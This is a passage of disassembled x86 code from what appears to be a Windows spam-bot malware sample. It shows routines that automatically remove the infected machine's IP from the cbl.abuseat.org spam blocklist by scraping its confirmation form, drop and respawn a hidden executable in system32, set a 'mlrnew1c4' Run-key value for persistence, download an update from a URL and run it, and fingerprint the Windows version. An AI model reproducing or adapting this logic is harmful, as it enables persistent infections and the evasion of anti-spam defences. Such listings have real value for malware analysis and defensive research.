jmp short loc_403DBC ; --------------------------------------------------------------------------- loc_403E34: ; CODE XREF: sub_403C76+196j lea ecx, [ebp-6Ch] call sub_40D183 mov [ebp+0Bh], bl jmp short loc_403E11 sub_403C76 endp ; =============== S U B R O U T I N E ======================================= sub_403E41 proc near ; CODE XREF: sub_402F64+D4p mov eax, offset loc_41B428 call sub_41AE44 sub esp, 8C4h push ebx push esi push edi push 0Fh pop esi xor edi, edi push edi lea ecx, [ebp-34h] mov [ebp-1Ch], esi call sub_401564 mov [ebp-4], edi push edi lea ecx, [ebp-70h] mov [ebp-58h], esi call sub_401564 push edi lea ecx, [ebp-50h] mov [ebp-38h], esi call sub_401564 push edi lea ecx, [ebp-8Ch] mov [ebp-74h], esi call sub_401564 push edi push edi push 3 push edi mov byte ptr [ebp-4], 3 push edi push 50h push offset aCbl_abuseat_or ; "cbl.abuseat.org" push dword_424E80 mov eax, offset asc_41E334 ; "*/*" mov [ebp-9Ch], eax mov [ebp-98h], edi mov dword ptr [ebp-0B4h], offset aImageGif ; "image/gif" mov dword ptr [ebp-0B0h], offset aImageXBitmap ; "image/x-bitmap" mov dword ptr [ebp-0ACh], offset aImageJpeg ; "image/jpeg" mov dword ptr [ebp-0A8h], offset aImagePjpeg ; "image/pjpeg" mov [ebp-0A4h], eax mov [ebp-0A0h], edi call dword_41C1C0 ; InternetConnectA mov esi, eax cmp esi, edi mov [ebp-14h], esi jnz short loc_403F1B call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aInternetconnec ; "InternetConnect: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h jmp loc_4045CC ; --------------------------------------------------------------------------- loc_403F1B: ; CODE XREF: sub_403E41+B7j push edi push 4480200h lea eax, [ebp-9Ch] push eax push edi push edi push offset aLookup_cgi ; "lookup.cgi" push offset aGet ; "GET" push esi call dword_41C1C8 ; HttpOpenRequestA mov ebx, eax cmp ebx, edi jnz short loc_403F69 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpopenreques ; "HttpOpenRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h push esi call dword_41C1D0 ; InternetCloseHandle jmp loc_4045CC ; --------------------------------------------------------------------------- loc_403F69: ; CODE XREF: sub_403E41+FEj push offset aAcceptLanguage ; "Accept-Language: en\r\n" lea ecx, [ebp-50h] call sub_4013A7 push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n" lea eax, [ebp-50h] push eax call sub_401C66 cmp dword ptr [ebp-38h], 10h mov eax, [ebp-4Ch] jnb short loc_403F90 lea eax, [ebp-4Ch] loc_403F90: ; CODE XREF: sub_403E41+14Aj push edi push edi push 0FFFFFFFFh push eax push ebx call dword_41C1CC ; HttpSendRequestA test eax, eax jnz short loc_403FCF call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpsendreques ; "HttpSendRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F mov esi, dword_41C1D0 add esp, 10h push ebx call esi ; InternetCloseHandle push dword ptr [ebp-14h] call esi ; InternetCloseHandle jmp loc_4045CC ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_403E41+15Dj push edi lea eax, [ebp-10h] push eax lea eax, [ebp-18h] push eax push 20000013h push ebx mov dword ptr [ebp-10h], 4 call dword_41C1D8 ; HttpQueryInfoA mov eax, [ebp-18h] push 64h xor edx, edx pop ecx div ecx cmp eax, 2 jnz short loc_40403D lea eax, [ebp-70h] call sub_4053F0 mov esi, 800h jmp short loc_404020 ; --------------------------------------------------------------------------- loc_404009: ; CODE XREF: sub_403E41+1F8j cmp [ebp-10h], edi jbe short loc_404056 push dword ptr [ebp-10h] lea eax, [ebp-8D0h] push eax lea eax, [ebp-70h] call sub_402039 loc_404020: ; CODE XREF: sub_403E41+1C6j lea eax, [ebp-10h] push eax push esi lea eax, [ebp-8D0h] push eax push ebx mov [ebp-10h], esi call dword_41C1C4 ; InternetReadFile cmp eax, 1 jz short loc_404009 jmp short loc_404056 ; --------------------------------------------------------------------------- loc_40403D: ; CODE XREF: sub_403E41+1B7j push dword ptr [ebp-18h] push offset aRblServerRespo ; "RBL server response code: %d\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch loc_404056: ; CODE XREF: sub_403E41+1CBj ; sub_403E41+1FAj push ebx mov ebx, dword_41C1D0 call ebx ; InternetCloseHandle push 6 call dword_41C090 ; Sleep push offset aLookup_cgi?ip ; "lookup.cgi?ip=" lea ecx, [ebp-34h] call sub_4013A7 mov eax, [ebp+8] push 0FFFFFFFFh add eax, 4 push edi lea esi, [ebp-34h] mov [ebp-54h], eax call sub_401F95 push offset aSubmitLookup ; "&submit=Lookup" mov eax, esi push eax call sub_401C66 cmp dword ptr [ebp-1Ch], 10h mov eax, [ebp-30h] jnb short loc_4040A1 lea eax, [ebp-30h] loc_4040A1: ; CODE XREF: sub_403E41+25Bj push edi push 4480200h lea ecx, [ebp-0B4h] push ecx push offset aHttpCbl_abusea ; "http://cbl.abuseat.org/lookup.cgi" push edi push eax push offset aGet ; "GET" push dword ptr [ebp-14h] call dword_41C1C8 ; HttpOpenRequestA mov esi, eax cmp esi, edi mov [ebp+8], esi jnz short loc_4040ED loc_4040CC: ; CODE XREF: sub_403E41+443j call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpopenreques ; "HttpOpenRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h jmp loc_4045C7 ; --------------------------------------------------------------------------- loc_4040ED: ; CODE XREF: sub_403E41+289j push offset aAcceptLanguage ; "Accept-Language: en\r\n" lea ecx, [ebp-50h] call sub_4013A7 push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n" lea eax, [ebp-50h] push eax call sub_401C66 cmp dword ptr [ebp-38h], 10h mov eax, [ebp-4Ch] jnb short loc_404114 lea eax, [ebp-4Ch] loc_404114: ; CODE XREF: sub_403E41+2CEj push edi push edi push 0FFFFFFFFh push eax push esi call dword_41C1CC ; HttpSendRequestA test eax, eax jnz short loc_404146 loc_404124: ; CODE XREF: sub_403E41+47Ej call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpsendreques ; "HttpSendRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h push esi jmp loc_4045C5 ; --------------------------------------------------------------------------- loc_404146: ; CODE XREF: sub_403E41+2E1j push edi lea eax, [ebp-10h] push eax lea eax, [ebp-18h] push eax push 20000013h push esi mov dword ptr [ebp-10h], 4 call dword_41C1D8 ; HttpQueryInfoA mov eax, [ebp-18h] push 64h xor edx, edx pop ecx div ecx cmp eax, 2 jnz short loc_4041B6 lea eax, [ebp-70h] call sub_4053F0 mov esi, 800h jmp short loc_404197 ; --------------------------------------------------------------------------- loc_404180: ; CODE XREF: sub_403E41+371j cmp [ebp-10h], edi jbe short loc_4041CF push dword ptr [ebp-10h] lea eax, [ebp-8D0h] push eax lea eax, [ebp-70h] call sub_402039 loc_404197: ; CODE XREF: sub_403E41+33Dj lea eax, [ebp-10h] push eax push esi lea eax, [ebp-8D0h] push eax push dword ptr [ebp+8] mov [ebp-10h], esi call dword_41C1C4 ; InternetReadFile cmp eax, 1 jz short loc_404180 jmp short loc_4041CF ; --------------------------------------------------------------------------- loc_4041B6: ; CODE XREF: sub_403E41+32Ej push dword ptr [ebp-18h] push offset aRblServerRespo ; "RBL server response code: %d\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch loc_4041CF: ; CODE XREF: sub_403E41+342j ; sub_403E41+373j push dword ptr [ebp+8] call ebx ; InternetCloseHandle mov esi, offset aWasNotFound ; "was not found" push esi call sub_40D970 pop ecx push eax push esi lea eax, [ebp-70h] push eax xor eax, eax call sub_401E6B cmp eax, 0FFFFFFFFh jz short loc_40420C push offset aNotListed_ ; "Not listed.\n" call sub_4024A7 push eax push 4 loc_4041FF: ; CODE XREF: sub_403E41+53Dj pop ecx call sub_40195C pop ecx pop ecx jmp loc_4045C7 ; --------------------------------------------------------------------------- loc_40420C: ; CODE XREF: sub_403E41+3AFj push 4 call dword_41C090 ; Sleep push 0FFFFFFFFh push edi lea eax, [ebp-34h] push eax lea ecx, [ebp-8Ch] call sub_401315 push offset aRemove_cgi?ip ; "remove.cgi?ip=" lea ecx, [ebp-34h] call sub_4013A7 mov eax, [ebp-54h] push 0FFFFFFFFh push edi lea esi, [ebp-34h] call sub_401F95 cmp dword ptr [ebp-74h], 10h mov ecx, [ebp-88h] jnb short loc_404253 lea ecx, [ebp-88h] loc_404253: ; CODE XREF: sub_403E41+40Aj cmp dword ptr [ebp-1Ch], 10h mov eax, [ebp-30h] jnb short loc_40425F lea eax, [ebp-30h] loc_40425F: ; CODE XREF: sub_403E41+419j push edi push 4480200h lea edx, [ebp-0B4h] push edx push ecx push edi push eax push offset aGet ; "GET" push dword ptr [ebp-14h] call dword_41C1C8 ; HttpOpenRequestA mov esi, eax cmp esi, edi mov [ebp+8], esi jz loc_4040CC push offset aAcceptLanguage ; "Accept-Language: en\r\n" lea ecx, [ebp-50h] call sub_4013A7 push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n" lea eax, [ebp-50h] push eax call sub_401C66 cmp dword ptr [ebp-38h], 10h mov eax, [ebp-4Ch] jnb short loc_4042B1 lea eax, [ebp-4Ch] loc_4042B1: ; CODE XREF: sub_403E41+46Bj push edi push edi push 0FFFFFFFFh push eax push esi call dword_41C1CC ; HttpSendRequestA test eax, eax jz loc_404124 push edi lea eax, [ebp-10h] push eax lea eax, [ebp-18h] push eax push 20000013h push esi mov dword ptr [ebp-10h], 4 call dword_41C1D8 ; HttpQueryInfoA mov eax, [ebp-18h] push 64h xor edx, edx pop ecx div ecx cmp eax, 2 jnz short loc_404335 lea eax, [ebp-70h] call sub_4053F0 mov esi, 800h jmp short loc_404316 ; --------------------------------------------------------------------------- loc_4042FF: ; CODE XREF: sub_403E41+4F0j cmp [ebp-10h], edi jbe short loc_40434E push dword ptr [ebp-10h] lea eax, [ebp-8D0h] push eax lea eax, [ebp-70h] call sub_402039 loc_404316: ; CODE XREF: sub_403E41+4BCj lea eax, [ebp-10h] push eax push esi lea eax, [ebp-8D0h] push eax push dword ptr [ebp+8] mov [ebp-10h], esi call dword_41C1C4 ; InternetReadFile cmp eax, 1 jz short loc_4042FF jmp short loc_40434E ; --------------------------------------------------------------------------- loc_404335: ; CODE XREF: sub_403E41+4ADj push dword ptr [ebp-18h] push offset aRblServerRespo ; "RBL server response code: %d\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch loc_40434E: ; CODE XREF: sub_403E41+4C1j ; sub_403E41+4F2j push dword ptr [ebp+8] call ebx ; InternetCloseHandle mov esi, offset aNameConfirmVal ; "name=\"confirm\" value=\"" push esi call sub_40D970 pop ecx push eax push esi lea eax, [ebp-70h] push eax xor eax, eax call sub_401E6B cmp eax, 0FFFFFFFFh jnz short loc_404383 push offset aCannotFindConf ; "Cannot find confirmation code to remove"... call sub_4024A7 push eax push 3 jmp loc_4041FF ; --------------------------------------------------------------------------- loc_404383: ; CODE XREF: sub_403E41+52Ej xor esi, esi inc esi push esi lea ecx, [ebp+8] push ecx lea ecx, [ebp-70h] add eax, 16h push ecx mov [ebp-90h], eax mov byte ptr [ebp+8], 22h call sub_401E6B cmp eax, 0FFFFFFFFh mov [ebp-94h], eax jnz short loc_4043CB push offset aCannotFindConf ; "Cannot find confirmation code to remove"... call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx loc_4043C1: ; CODE XREF: sub_403E41+5FBj push dword ptr [ebp-14h] call ebx ; InternetCloseHandle jmp loc_4045CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_403E41+569j push 8 call dword_41C090 ; Sleep push 0FFFFFFFFh push edi lea eax, [ebp-34h] push eax lea ecx, [ebp-8Ch] call sub_401315 cmp dword ptr [ebp-74h], 10h mov eax, [ebp-88h] jnb short loc_4043F7 lea eax, [ebp-88h] loc_4043F7: ; CODE XREF: sub_403E41+5AEj push edi push 4480200h lea ecx, [ebp-0B4h] push ecx push eax push edi push offset aRemove_cgi ; "remove.cgi" push offset aPost ; "POST" push dword ptr [ebp-14h] call dword_41C1C8 ; HttpOpenRequestA cmp eax, edi mov [ebp+8], eax jnz short loc_40443E call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpopenreques ; "HttpOpenRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h jmp short loc_4043C1 ; --------------------------------------------------------------------------- loc_40443E: ; CODE XREF: sub_403E41+5DDj push offset aAcceptLanguage ; "Accept-Language: en\r\n" lea ecx, [ebp-50h] call sub_4013A7 push offset aContentTypeApp ; "Content-Type: application/x-www-form-ur"... lea eax, [ebp-50h] push eax call sub_401C66 push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n" lea eax, [ebp-50h] push eax call sub_401C66 push offset aIp ; "ip=" lea ecx, [ebp-34h] call sub_4013A7 mov eax, [ebp-54h] push 0FFFFFFFFh push edi lea esi, [ebp-34h] call sub_401F95 push offset aConfirm ; "&confirm=" mov eax, esi push eax call sub_401C66 mov eax, [ebp-94h] sub eax, [ebp-90h] lea esi, [ebp-0D0h] push eax push dword ptr [ebp-90h] lea eax, [ebp-70h] push eax call sub_405527 push 0FFFFFFFFh push edi lea esi, [ebp-34h] mov byte ptr [ebp-4], 4 call sub_401F95 push edi push 1 lea ecx, [ebp-0D0h] mov byte ptr [ebp-4], 3 call sub_4013C4 push offset aOwnerYesVirusP ; "&owner=yes&virus=&proxy=&comments=&canr"... mov eax, esi push eax call sub_401C66 mov eax, [ebp-54h] push 0FFFFFFFFh push edi call sub_401F95 cmp dword ptr [ebp-1Ch], 10h mov ecx, [ebp-30h] jnb short loc_4044F6 lea ecx, [ebp-30h] loc_4044F6: ; CODE XREF: sub_403E41+6B0j cmp dword ptr [ebp-38h], 10h mov eax, [ebp-4Ch] jnb short loc_404502 lea eax, [ebp-4Ch] loc_404502: ; CODE XREF: sub_403E41+6BCj push dword ptr [ebp-20h] push ecx push 0FFFFFFFFh push eax push dword ptr [ebp+8] call dword_41C1CC ; HttpSendRequestA test eax, eax jnz short loc_404537 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aHttpsendreques ; "HttpSendRequest: %$\n" push 3 call sub_4024A7 push eax call sub_40196F add esp, 10h jmp loc_4045C2 ; --------------------------------------------------------------------------- loc_404537: ; CODE XREF: sub_403E41+6D3j push edi lea eax, [ebp-10h] push eax lea eax, [ebp-18h] push eax push 20000013h push dword ptr [ebp+8] mov dword ptr [ebp-10h], 4 call dword_41C1D8 ; HttpQueryInfoA mov eax, [ebp-18h] push 64h xor edx, edx pop ecx div ecx cmp eax, 2 jnz short loc_4045A9 lea eax, [ebp-70h] call sub_4053F0 mov esi, 800h jmp short loc_40458A ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_403E41+764j cmp [ebp-10h], edi jbe short loc_4045C2 push dword ptr [ebp-10h] lea eax, [ebp-8D0h] push eax lea eax, [ebp-70h] call sub_402039 loc_40458A: ; CODE XREF: sub_403E41+730j lea eax, [ebp-10h] push eax push esi lea eax, [ebp-8D0h] push eax push dword ptr [ebp+8] mov [ebp-10h], esi call dword_41C1C4 ; InternetReadFile cmp eax, 1 jz short loc_404573 jmp short loc_4045C2 ; --------------------------------------------------------------------------- loc_4045A9: ; CODE XREF: sub_403E41+721j push dword ptr [ebp-18h] push offset aRblServerRespo ; "RBL server response code: %d\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch loc_4045C2: ; CODE XREF: sub_403E41+6F1j ; sub_403E41+735j ... push dword ptr [ebp+8] loc_4045C5: ; CODE XREF: sub_403E41+300j call ebx ; InternetCloseHandle loc_4045C7: ; CODE XREF: sub_403E41+2A7j ; sub_403E41+3C6j push dword ptr [ebp-14h] call ebx ; InternetCloseHandle loc_4045CC: ; CODE XREF: sub_403E41+D5j ; sub_403E41+123j ... xor esi, esi inc esi loc_4045CF: ; CODE XREF: sub_403E41+585j push edi push esi lea ecx, [ebp-8Ch] call sub_4013C4 push edi push esi lea ecx, [ebp-50h] call sub_4013C4 push edi push esi lea ecx, [ebp-70h] call sub_4013C4 push edi push esi lea ecx, [ebp-34h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_403E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40460B proc near ; CODE XREF: sub_4047AC+11Dp ; sub_4048E7+98p ... var_468 = byte ptr -468h var_68 = byte ptr -68h var_58 = dword ptr -58h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 468h cmp dword ptr [ebx+18h], 10h push esi lea eax, [ebx+4] push edi mov [ebp+var_4], eax jb short loc_404624 mov eax, [eax] loc_404624: ; CODE XREF: sub_40460B+15j push eax push offset aRespawningAsS_ ; "Respawning as %s ...\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 0Ch push 400h lea eax, [ebp+var_468] push eax call dword_41C08C ; GetWindowsDirectoryA lea eax, [ebp+var_468] push offset aSystem32Helper ; "\\system32\\helpermnew1winc4.exe" push eax call sub_40FE50 pop ecx pop ecx push offset aRt_helper ; "RT_HELPER" push 65h xor edi, edi push edi call dword_41C07C ; FindResourceA cmp eax, edi mov [ebp+var_8], eax jnz short loc_404697 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aFindresource ; "FindResource: %$\n" push 1 call sub_4024A7 push eax call sub_40196F loc_404690: ; CODE XREF: sub_40460B+E6j add esp, 10h loc_404693: ; CODE XREF: sub_40460B+194j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_404697: ; CODE XREF: sub_40460B+6Aj mov esi, dword_41C0B0 push 80h lea eax, [ebp+var_468] push eax call esi ; SetFileAttributesA lea eax, [ebp+var_468] push offset aWb ; "wb" push eax call sub_40FA66 cmp eax, edi pop ecx pop ecx mov [ebp+var_C], eax jnz short loc_4046F3 call sub_40F79E mov esi, eax call sub_40F79E push dword ptr [esi] mov edi, eax call sub_40F6FC pop ecx push eax push dword ptr [edi] push offset aFopenDS ; "fopen: (%d) %s\n" call sub_4024A7 push eax push 2 pop ecx call sub_40195C jmp short loc_404690 ; --------------------------------------------------------------------------- loc_4046F3: ; CODE XREF: sub_40460B+B8j push eax push [ebp+var_8] push edi call dword_41C094 ; SizeofResource push eax push 1 push [ebp+var_8] push edi call dword_41C080 ; LoadResource push eax call dword_41C0B8 ; SetHandleCount push eax call sub_40FC7C push [ebp+var_C] call sub_40FD7C add esp, 14h push 6 lea eax, [ebp+var_468] push eax call esi ; SetFileAttributesA push 44h pop esi push esi lea eax, [ebp+var_58] push edi push eax call sub_40DD10 add esp, 0Ch lea eax, [ebp+var_58] push eax mov [ebp+var_58], esi call dword_41C0A0 ; GetStartupInfoA cmp dword ptr [ebx+18h], 10h mov eax, [ebp+var_4] mov [ebp+var_2C], 1 mov [ebp+var_28], di jb short loc_404762 mov eax, [eax] loc_404762: ; CODE XREF: sub_40460B+153j lea ecx, [ebp+var_68] push ecx lea ecx, [ebp+var_58] push ecx push edi push edi push edi push edi push edi push edi push eax lea eax, [ebp+var_468] push eax call dword_41C09C ; CreateProcessA test eax, eax jnz short loc_4047A4 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aCreateprocess ; "CreateProcess: %$\n" call sub_4024A7 push eax push 2 pop ecx call sub_40195C add esp, 0Ch jmp loc_404693 ; --------------------------------------------------------------------------- loc_4047A4: ; CODE XREF: sub_40460B+175j push edi call dword_41C100 ; ExitProcess int 3 ; Trap to Debugger sub_40460B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4047AC proc near ; CODE XREF: sub_405089:loc_4050D7p mov eax, offset sub_41B60D call sub_41AE44 sub esp, 828h push ebx push esi push edi mov esi, 400h push esi lea eax, [ebp-834h] push eax call dword_41C08C ; GetWindowsDirectoryA lea eax, [ebp-834h] push offset aSystem32Mnew1w ; "\\system32\\mnew1winc4.exe" push eax call sub_40FE50 pop ecx pop ecx push esi lea eax, [ebp-434h] push eax xor esi, esi push esi call dword_41C0C0 ; GetModuleFileNameA mov edi, dword_41C00C lea eax, [ebp-18h] push eax lea eax, [ebp-14h] push eax push esi push 20006h push esi push esi push esi mov ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push ebx push 80000002h call edi ; RegCreateKeyExA test eax, eax jnz short loc_40484E lea eax, [ebp-434h] push eax call sub_40D970 pop ecx inc eax push eax lea eax, [ebp-434h] push eax push 1 push esi push offset aMlrnew1c4 ; "mlrnew1c4" push dword ptr [ebp-14h] call dword_41C014 ; RegSetValueExA push dword ptr [ebp-14h] call dword_41C000 ; RegCloseKey loc_40484E: ; CODE XREF: sub_4047AC+70j lea eax, [ebp-18h] push eax lea eax, [ebp-14h] push eax push esi push 20006h push esi push esi push esi push ebx push 80000001h call edi ; RegCreateKeyExA test eax, eax jnz short loc_40489B lea eax, [ebp-434h] push eax call sub_40D970 pop ecx inc eax push eax lea eax, [ebp-434h] push eax push 1 push esi push offset aMlrnew1c4 ; "mlrnew1c4" push dword ptr [ebp-14h] call dword_41C014 ; RegSetValueExA push dword ptr [ebp-14h] call dword_41C000 ; RegCloseKey loc_40489B: ; CODE XREF: sub_4047AC+BDj lea eax, [ebp-834h] push eax lea eax, [ebp-434h] push eax call sub_41A376 test eax, eax pop ecx pop ecx jz short loc_4048D8 lea eax, [ebp-434h] push eax lea ecx, [ebp-34h] call sub_401C44 lea ebx, [ebp-34h] mov [ebp-4], esi call sub_40460B push esi push 1 mov ecx, ebx call sub_4013C4 loc_4048D8: ; CODE XREF: sub_4047AC+106j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_4047AC endp ; =============== S U B R O U T I N E ======================================= sub_4048E7 proc near ; CODE XREF: sub_40376E+35p mov eax, offset SEH_4033DA call sub_41AE44 sub esp, 24h push ebx push esi mov esi, dword_41C00C push edi lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax xor eax, eax push eax mov edi, 20006h push edi push eax push eax push eax mov ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push ebx push 80000001h call esi ; RegCreateKeyExA test eax, eax jnz short loc_404939 push offset aMlrnew1c4 ; "mlrnew1c4" push dword ptr [ebp-10h] call dword_41C004 ; RegDeleteValueA push dword ptr [ebp-10h] call dword_41C000 ; RegCloseKey loc_404939: ; CODE XREF: sub_4048E7+39j lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax xor eax, eax push eax push edi push eax push eax push eax push ebx push 80000002h call esi ; RegCreateKeyExA test eax, eax jnz short loc_40496B push offset aMlrnew1c4 ; "mlrnew1c4" push dword ptr [ebp-10h] call dword_41C004 ; RegDeleteValueA push dword ptr [ebp-10h] call dword_41C000 ; RegCloseKey loc_40496B: ; CODE XREF: sub_4048E7+6Bj push offset asc_41E668 ; "-X" lea ecx, [ebp-30h] call sub_401C44 and dword ptr [ebp-4], 0 lea ebx, [ebp-30h] call sub_40460B push 0 push 1 mov ecx, ebx call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4048E7 endp ; =============== S U B R O U T I N E ======================================= sub_40499E proc near ; CODE XREF: sub_40376E+67p mov eax, offset sub_41B60D call sub_41AE44 sub esp, 828h push ebx push esi push edi mov edi, ecx cmp dword ptr [edi+18h], 10h lea ebx, [edi+4] jb short loc_4049C0 mov eax, [ebx] jmp short loc_4049C2 ; --------------------------------------------------------------------------- loc_4049C0: ; CODE XREF: sub_40499E+1Cj mov eax, ebx loc_4049C2: ; CODE XREF: sub_40499E+20j push eax push offset aPerformingUpda ; "Performing update from URL: %s\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 0Ch mov esi, 400h push esi lea eax, [ebp-434h] push eax call dword_41C08C ; GetWindowsDirectoryA lea eax, [ebp-434h] push offset aSystem32Update ; "\\system32\\updatemnew1winc4.exe" push eax call sub_40FE50 lea eax, [ebp-434h] push offset aWb ; "wb" push eax call sub_40FA66 xor ecx, ecx add esp, 10h cmp eax, ecx mov [ebp-14h], eax jnz short loc_404A4E call sub_40F79E mov esi, eax call sub_40F79E push dword ptr [esi] mov edi, eax call sub_40F6FC pop ecx push eax push dword ptr [edi] push offset aFopenDS ; "fopen: (%d) %s\n" call sub_4024A7 push eax push 2 pop ecx call sub_40195C add esp, 10h jmp loc_404B1C ; --------------------------------------------------------------------------- loc_404A4E: ; CODE XREF: sub_40499E+7Aj cmp dword ptr [edi+18h], 10h jb short loc_404A56 mov ebx, [ebx] loc_404A56: ; CODE XREF: sub_40499E+B4j push ecx push 84080300h push ecx push ecx push ebx push dword_424E80 call dword_41C1BC ; InternetOpenUrlA test eax, eax mov [ebp-18h], eax jnz short loc_404A94 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aInternetopenur ; "InternetOpenUrl: %$\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch jmp loc_404B1C ; --------------------------------------------------------------------------- loc_404A94: ; CODE XREF: sub_40499E+D2j mov ebx, dword_41C1C4 lea ecx, [ebp-10h] push ecx push esi lea ecx, [ebp-834h] push ecx push eax mov [ebp-10h], esi call ebx ; InternetReadFile xor edi, edi inc edi jmp short loc_404AE1 ; --------------------------------------------------------------------------- loc_404AB1: ; CODE XREF: sub_40499E+145j cmp dword ptr [ebp-10h], 0 jbe short loc_404AE5 push dword ptr [ebp-14h] lea eax, [ebp-834h] push dword ptr [ebp-10h] push edi push eax call sub_40FC7C add esp, 10h lea eax, [ebp-10h] push eax push esi lea eax, [ebp-834h] push eax push dword ptr [ebp-18h] mov [ebp-10h], esi call ebx ; InternetReadFile loc_404AE1: ; CODE XREF: sub_40499E+111j cmp eax, edi jz short loc_404AB1 loc_404AE5: ; CODE XREF: sub_40499E+117j push dword ptr [ebp-18h] call dword_41C1D0 ; InternetCloseHandle push dword ptr [ebp-14h] call sub_40FD7C pop ecx lea eax, [ebp-434h] push eax lea ecx, [ebp-34h] call sub_401C44 and dword ptr [ebp-4], 0 lea ebx, [ebp-34h] call sub_40460B push 0 push edi mov ecx, ebx call sub_4013C4 loc_404B1C: ; CODE XREF: sub_40499E+ABj ; sub_40499E+F1j mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40499E endp ; =============== S U B R O U T I N E ======================================= sub_404B2B proc near ; CODE XREF: sub_405089+DDp push ebp sub esp, 20h mov eax, offset sub_41B00F call sub_41AE44 sub esp, 310h push ebx push esi push edi xor ebx, ebx mov [ebp+4], ebx push ebx lea ecx, [ebp+8] mov dword ptr [ebp+20h], 0Fh call sub_401564 push 24h lea eax, [ebp-0CCh] push ebx push eax mov [ebp-4], ebx call sub_40DD10 mov esi, 9Ch push esi lea eax, [ebp-0A8h] push ebx push eax call sub_40DD10 add esp, 18h lea eax, [ebp-0A8h] mov [ebp-0A8h], esi mov esi, dword_41C0D0 push eax call esi ; GetVersionExA mov edi, eax cmp edi, ebx jnz short loc_404BC3 lea eax, [ebp-0A8h] push eax mov dword ptr [ebp-0A8h], 94h call esi ; GetVersionExA test eax, eax jnz short loc_404BC3 mov ecx, [ebp+2Ch] push offset aUnknown ; "UNKNOWN" call sub_401C44 jmp loc_405067 ; --------------------------------------------------------------------------- loc_404BC3: ; CODE XREF: sub_404B2B+6Dj ; sub_404B2B+84j push offset aGetnativesyste ; "GetNativeSystemInfo" push offset aKernel32_dll ; "kernel32.dll" call dword_41C0C4 ; GetModuleHandleA push eax call dword_41C0AC ; GetProcAddress cmp eax, ebx jz short loc_404BE9 lea ecx, [ebp-0CCh] push ecx call eax ; sub_41B00F jmp short loc_404BF6 ; --------------------------------------------------------------------------- loc_404BE9: ; CODE XREF: sub_404B2B+B1j lea eax, [ebp-0CCh] push eax call dword_41C0BC ; GetSystemInfo loc_404BF6: ; CODE XREF: sub_404B2B+BCj mov eax, [ebp-98h] sub eax, ebx jz loc_40504D dec eax jz loc_404FD5 dec eax jnz loc_40505B cmp dword ptr [ebp-0A4h], 6 jnz short loc_404C3E cmp [ebp-0A0h], ebx jnz loc_404CB7 cmp byte ptr [ebp-0Eh], 1 lea eax, [ebp+8] jnz short loc_404C37 push offset aWindowsVista ; "Windows Vista " jmp short loc_404CB1 ; --------------------------------------------------------------------------- loc_404C37: ; CODE XREF: sub_404B2B+103j push offset aWindowsServerL ; "Windows Server \"Longhorn\" " jmp short loc_404CB1 ; --------------------------------------------------------------------------- loc_404C3E: ; CODE XREF: sub_404B2B+EEj cmp dword ptr [ebp-0A4h], 5 jnz short loc_404CA0 cmp dword ptr [ebp-0A0h], 2 jnz short loc_404C81 push 59h call dword_41C1B0 ; GetSystemMetrics test eax, eax jz short loc_404C63 push offset aMicrosoftWindo ; "Microsoft Windows Server 2003 \"R2\" " jmp short loc_404CAE ; --------------------------------------------------------------------------- loc_404C63: ; CODE XREF: sub_404B2B+12Fj cmp byte ptr [ebp-0Eh], 1 jnz short loc_404C7A cmp word ptr [ebp-0CCh], 9 jnz short loc_404C7A push offset aMicrosoftWin_0 ; "Microsoft Windows XP Professional x64 E"... jmp short loc_404CAE ; --------------------------------------------------------------------------- loc_404C7A: ; CODE XREF: sub_404B2B+13Cj ; sub_404B2B+146j push offset aMicrosoftWin_1 ; "Microsoft Windows Server 2003, " jmp short loc_404CAE ; --------------------------------------------------------------------------- loc_404C81: ; CODE 